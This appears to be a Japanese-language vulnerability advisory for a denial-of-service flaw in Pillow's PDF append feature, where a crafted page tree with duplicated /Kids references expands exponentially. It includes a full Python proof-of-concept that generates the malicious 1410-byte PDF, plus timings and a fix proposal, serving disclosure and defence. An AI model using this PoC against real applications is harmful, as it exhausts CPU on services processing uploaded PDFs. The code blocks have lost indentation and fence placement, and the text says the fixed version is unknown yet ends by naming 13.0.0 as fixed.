Pillow PDFの追記機能において、不正なページツリーの構造を持つPDFファイルが原因で、リソースの枯渇が発生する。

### 概要
Pillowのドキュメントに記載されているPDF追記機能は、構造が不正でコンパクトなPDFページツリーに対して、異常に長いCPU時間を消費する可能性がある。

攻撃者は、既存のPDFファイルを、`Image.save(..., format="PDF", append=True)`を使用して画像を追加するアプリケーションに提供することで、不正な`/Pages`ツリーを仕込むことができる。この不正なツリーでは、各レベルで同じ子`/Pages`参照が`/Kids`内に繰り返し記述されている。Pillowは、この構造をツリーとして扱い、`PdfParser.linearize_page_tree()`関数内で、繰り返し出現する間接参照をすべて展開するが、参照先が既に処理済であるかどうかの追跡は行われない。

以下の検証では、1410バイトのPDFファイルが、1つのページオブジェクトから8192個のページ参照を生成し、追記処理に約9.6秒を要する。一方、同じ深さの正常な処理では、ページ参照は1つで、処理時間は約0.02秒である。

これは、Pillowのセキュリティポリシーの対象となる。なぜなら、`main`ブランチで再現可能であり、テストされた最新の公開バージョン（`12.3.0`）に影響を与え、単なる予期せぬPythonのエラーではないためである。脆弱な処理は、PillowのPDFパーサーを通じて攻撃者が制御するPDFバイトを受け取り、通常終了する前に、決定的にリソースを消費する。

### 詳細

#### 影響を受けるバージョン

- パッケージ: `Pillow`
- エコシステム: `pip` / PyPI
- 影響を受けるコンポーネント: `src/PIL/PdfParser.py` (ページツリーのトラバーサル。`src/PIL/PdfImagePlugin.py`からの呼び出しによるPDFへの追記処理に関連)
- 実行環境で検証された影響を受けるバージョン: `12.3.0`
- 実行環境で検証された影響を受ける開発バージョン: `13.0.0.dev0`
- テスト対象のコミット: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
- 現在のソースコードハッシュ: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`
- リリース `12.3.0` のコミット: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
- リリース `12.3.0` のソースコードハッシュ: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`
- ソースコードレベルで影響を受けるバージョン: `5.1.0`, `12.2.0`, `12.3.0`, および `HEAD`
- 影響を受ける可能性のある範囲: `>= 5.1.0`
- 修正されたバージョン: 不明

検証結果:

- 実行環境で検証された影響を受けるバージョン: `12.3.0`
- 実行環境で検証された影響を受けるバージョン: `13.0.0.dev0` (コミット: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`)
- ソースコードレベルで影響を受けるバージョン: `5.1.0`
- ソースコードレベルで影響を受けるバージョン: `12.2.0`
- ソースコードレベルで影響を受けるバージョン: `HEAD`
- 影響を受ける可能性のある範囲: `>= 5.1.0`、修正されたバージョンは不明
- 補足: `5.0.0`には`PdfImagePlugin.py`は存在するが、`src/PIL/PdfParser.py`は存在しない。

`5.0.0`には`src/PIL/PdfImagePlugin.py`は存在するが、`src/PIL/PdfParser.py`は存在しない。`PdfParser.py`は、`6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (2018年1月18日、issue #2959: 既存のPDFへの追記をサポート)によって導入され、`5.1.0`でリリースされた。

#### 技術的な詳細

到達可能なパスは以下の通り:

1. サービスまたはアプリケーションが、攻撃者によって操作された既存のPDFを受け取り、Pillowの公開PDF保存機能を使用して画像を追加する:

```python
Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
```

2. `src/PIL/PdfImagePlugin.py`が、`append=True`を`PdfParser`に引き渡す:

```python
is_appending = im.encoderinfo.get("append", False)
filename_str = filename.decode() if isinstance(filename, bytes) else filename
if is_appending:
existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
else:
existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
```

3. `src/PIL/PdfParser.py` は、既存のPDFを解析し、ページツリーを線形化します。

```python
self.page_tree_root = self.read_indirect(self.pages_ref)
self.pages = self.linearize_page_tree(self.page_tree_root)
self.orig_pages = self.pages[:]
```

4. `linearize_page_tree()` は、再帰的にすべての `/Kids` エントリをたどり、ページリストを拡張します。この関数は、ページツリーノードの同一性、重複参照、またはアクティブなトラバーサル参照を追跡しません。

```python
def linearize_page_tree(
self, node: PdfDict | None = None
) -> list[IndirectReference]:
page_node = node if node is not None else self.page_tree_root
check_format_condition(
page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
)
pages = []
for kid in page_node[b"Kids"]:
kid_object = self.read_indirect(kid)
if kid_object[b"Type"] == b"Page":
pages.append(kid)
else:
pages.extend(self.linearize_page_tree(node=kid_object))
return pages
```

5. 追記時には、`rewrite_pages()` が拡張された `orig_pages` リストを反復処理し、`self.pages` 内のエントリをスキャン/置換します。これにより、すでに拡張された重複参照リストの処理コストが増加します。

欠けている重要な点は以下の通りです。

```text
Pillowがページ/orig_pagesを構築したり、ページを書き換えたりする前に、PDFのページツリーは、一意の間接参照を持つ非巡回グラフとして扱われるべきである。
```

この検証では、意図的に不正なPDFのページツリーDAG（有向グラフ）を使用しています。各`/Pages`ノードは、同じ次の`/Pages`の子ノードへの参照を2回繰り返します。Pillowは、このグラフを受け入れ、繰り返された参照が異なるサブツリーを表しているかのように展開します。

### PoC（概念実証）

検証に使用した環境：

- OS/ランタイム：Linux、Python `3.13.11`
- 現在テスト中のバージョン：Pillow `13.0.0.dev0`、コミット `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
- 最後にテストされたリリース版：Pillow `12.3.0`
- この検証では、合成されたメモリ内PDFのみを使用し、ネットワークへの接続は行いません。

以下の内容を`poc_pillow_pdf_page_tree_dag.py`というファイル名で保存してください。

```python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL

def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
if fanout not in (1, 2):
raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
for object_id in range(2, depth + 3):
next_id = object_id + 1
kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

result = bytearray(b"%PDF-1.4\n")
offsets = [0]
for object_id, value in enumerate(objects, start=1):
offsets.append(len(result))
result.extend(f"{object_id} 0 obj\n".encode("ascii"))
result.extend(value)
result.extend(b"\nendobj\n")
```

xref_offset = len(result)
result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
result.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
result.extend(
f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
)
return bytes(result)

def run_case(depth: int, fanout: int) -> dict[str, object]:
payload = make_page_tree_pdf(depth, fanout)
expected_refs = fanout ** (depth + 1)

start = time.monotonic()
with PdfParser.PdfParser(buf=payload) as pdf:
observed_refs = len(pdf.pages)
distinct_refs = len(set(pdf.pages))
parse_seconds = time.monotonic() - start

output = io.BytesIO(payload)
start = time.monotonic()
Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
append_seconds = time.monotonic() - start

return {
"fanout": fanout,
"depth": depth,
"input_bytes": len(payload),
"expected_refs": expected_refs,
"observed_refs": observed_refs,
"distinct_refs": distinct_refs,
"parse_seconds": round(parse_seconds, 6),
"append_seconds": round(append_seconds, 6),
"output_bytes_after_append": len(output.getvalue()),
}

def main() -> int:
depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
if not 0 <= depth <= 16:
raise SystemExit("depth must be between 0 and 16")

linear = run_case(depth, fanout=1)
shared_dag = run_case(depth, fanout=2)

```
checks = {
"linear_control_stays_one_page": linear["observed_refs"] == 1,
"candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
== shared_dag["expected_refs"],
"candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
"candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
"append_path_processed_both_inputs": linear["output_bytes_after_append"]
> linear["input_bytes"]
and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
}
result = {
"pillow_version": PIL.__version__,
"pillow_file": PIL.__file__,
"depth": depth,
"linear_control": linear,
"shared_dag_candidate": shared_dag,
"checks": checks,
"overall_passed": all(checks.values()),
}
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["overall_passed"] else 1

if __name__ == "__main__":
raise SystemExit(main())
```

実行:

```bash
python3 poc_pillow_pdf_page_tree_dag.py
```

期待される結果:

```text
"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1
```

現在の `main` / `13.0.0.dev0` で観測された結果:

```text
1410バイトの入力 -> 8192個の観測されたページ参照 -> 9.563007秒で処理完了
```

Pillow `12.3.0` で観測された結果:

```text
Pillow 12.3.0: 1410バイトの入力 -> 8192個の観測されたページ参照 -> 9.670602秒で処理完了
```

比較のために、同じテスト環境で同様の深さのページツリーを使用し、`fanout=1` を設定した線形制御では、1つのページ参照が生成され、処理完了までに約 `0.016` から `0.028` 秒かかります。

### 影響
```

これは、PillowのPDF結合処理における問題です。信頼できないユーザーが、アプリケーションが後で結合したり、透かしを追加したり、Pillowの`Image.save(..., format="PDF", append=True)`を使ってエクスポートしたりする既存のPDFファイルを提供できる場合、アプリケーションに影響が出ます。

この脆弱性は、コンパクトな攻撃者が制御するPDFファイルから、決定論的なCPU/リソースの消費を引き起こすものです。この検証では、機密性への影響、完全性への影響、メモリ破壊、ファイルシステムへのアクセス、ネットワークへのアクセス、および通常の`Image.open()`による影響は示されていません。

この脆弱性の悪用には、Pillowのドキュメントに記載されているPDF結合パスで処理される、攻撃者が影響を与えた既存のPDFファイルが必要です。通常の`Image.open()`では影響はありません。

これは、単なる予期しないPythonのエラーとして扱われるべきではありません。テストされた影響を受けるバージョンでは、不正なPDFファイルが受け入れられ、高価な展開処理の後、正常に処理されます。

### 対策

`self.pages`と`self.orig_pages`を構築する前に、重複したページツリー参照と循環参照を拒否します。

考えられる対策の一つとして、`linearize_page_tree()`関数にトラバーサル状態を渡す方法があります。

- アクティブな`/Pages`参照を追跡し、循環参照を拒否します。
- 参照されたページツリーとページのインデックスを追跡し、重複参照を拒否します。
- ページツリーが、一意のインデックス参照を持つ非循環のツリーでない場合に、`PdfFormatError`を発生させます。

推奨される回帰テスト：

- `/Kids`配列が同じ子`/Pages`参照を繰り返す小さなPDFファイルは、`Image.save(..., format="PDF", append=True)`で使用すると、速やかに`PdfFormatError`が発生する必要があります。
- 通常のネストされた線形ページツリーは、引き続き正常に結合される必要があります。

影響を受けるパッケージ：
- pip (Python) Pillow: 影響を受けるバージョンは5.1.0以上、13.0.0未満。13.0.0で修正済み。